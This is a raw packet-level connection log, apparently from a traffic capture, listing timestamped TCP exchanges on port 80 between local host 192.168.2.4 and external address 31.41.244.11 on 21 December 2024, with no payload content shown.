Dec 21, 2024 10:15:21.132333994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.132385015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.132428885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.133574009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.133599997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.133618116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.133635044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.134674072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.134747982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.134792089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.135876894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.135919094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.135962963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.136007071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.137020111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.137063026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.137156010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.138195038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.138240099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.138355017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.138396978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.139461040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.139507055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.139559984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.139604092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.140594959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.140640974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.140724897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.140768051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.141753912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.141798019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.142035007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.142080069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.142951965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.143001080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.143142939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.144201040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.144243956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.144556046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.144598961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.145298958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.145339012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.145411015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.145453930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.146534920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.146583080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.146625042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.147699118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.147742987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.147910118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.147952080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.148870945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.148911953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.148988962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.149029970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.150149107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.150203943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.150247097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.151385069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.151401997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.151426077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.151449919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.152475119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.152523041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.152585983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.153600931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.153747082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.153790951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.154757977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.154886007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.154937029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.156121016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.156176090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.156388044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.156496048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.157207012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.157260895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.157263994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.157310009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.158515930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.158535004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.158584118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.159652948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.159740925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.159787893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.160758972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.160809994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.160851955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.161003113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.161895990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.161962986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.162101030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.162188053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.163363934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.163383961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.163434029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.164294958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.164396048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.164437056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.164484978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.165457964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.165533066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.165553093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.165596008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.166651011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.166708946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.166779041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.166826963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.167829037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.168024063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.168061972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.169090986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.169176102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.169236898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.170140982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.170583963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.300110102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.300172091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.300244093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.300623894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.300677061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.300868034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.300915956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.301039934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.301091909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.302050114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.302097082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.302247047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.302781105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.303216934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.303340912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.303355932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.303385019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.304455042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.304645061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.304689884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.305613995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.305655003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.305763960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.306940079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.306957960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.306989908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.307020903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.308016062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.308170080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.308213949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.309205055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.309289932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.309290886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.309340000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.310379982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.310456038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.310477972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.310492039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.311624050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.311657906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.311676979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.311693907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.312720060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.312768936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.312803030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.312901974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.313956976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.314044952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.314147949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.314212084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.315093040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.315217972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.315222025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.315257072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.316308975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.316387892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.316446066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.317462921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.317723036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.317765951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.318778038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.318794966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.318826914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.318857908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.319905043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.320034981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.320086956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.321001053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.321050882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.321211100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.321258068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.322254896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.322304964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.322308064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.322349072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.323380947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.323796988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.323847055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.324567080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.324619055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.324773073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.324819088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.325866938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.325917959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.325958967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.325999975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.327366114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.327426910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.327476978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.328265905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.328335047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.328375101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.328438044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.329293966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.329443932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.329488993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.330534935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.330600977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.330627918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.330670118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.331769943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.331790924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.331835985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.332845926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.332896948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.332967043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.333009005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.334085941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.334136963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.334139109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.334182024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.335443974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.335524082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.335577011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.336391926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.336442947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.336488962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.336534977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.337579966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.337629080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.337665081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.337707996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.338824034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.338922977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.338972092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.340064049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.340081930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.340115070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.340143919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.341171980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.341243029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.341286898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.342415094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.342463017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.342464924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.342509985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.343549967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.343750000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.343795061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.344786882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.344836950 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.344877958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.344919920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.345964909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.346086979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.346133947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.347099066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.347199917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.347246885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.348277092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.348329067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.348501921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.348557949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.349452972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.349596977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.349610090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.349652052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.350644112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.350742102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.350756884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.350800037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.351866961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.351980925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.351999044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.352036953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.352987051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.353037119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.353108883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.353162050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.354181051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.354231119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.354310036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.354356050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.355398893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.355441093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.355542898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.355583906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.356547117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.356594086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.356651068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.356693983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.357796907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.357851028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.357891083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.357927084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.358999014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.359016895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.359054089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.359067917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.360182047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.360198975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.360227108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.360241890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.361311913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.361373901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.361418962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.361459017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.492527962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.492716074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.492717981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.492758989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.493097067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.493187904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.493223906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.493275881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.494254112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.494307995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.494349003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.494390011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.495419979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.495456934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.495541096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.495693922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.496611118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.496655941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.496675968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.496716976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.497783899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.497824907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.497900963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.497941971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.498980999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:21.499027014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:21.499075890 CET	80	49781	31.41.244.11	192.168.2.4
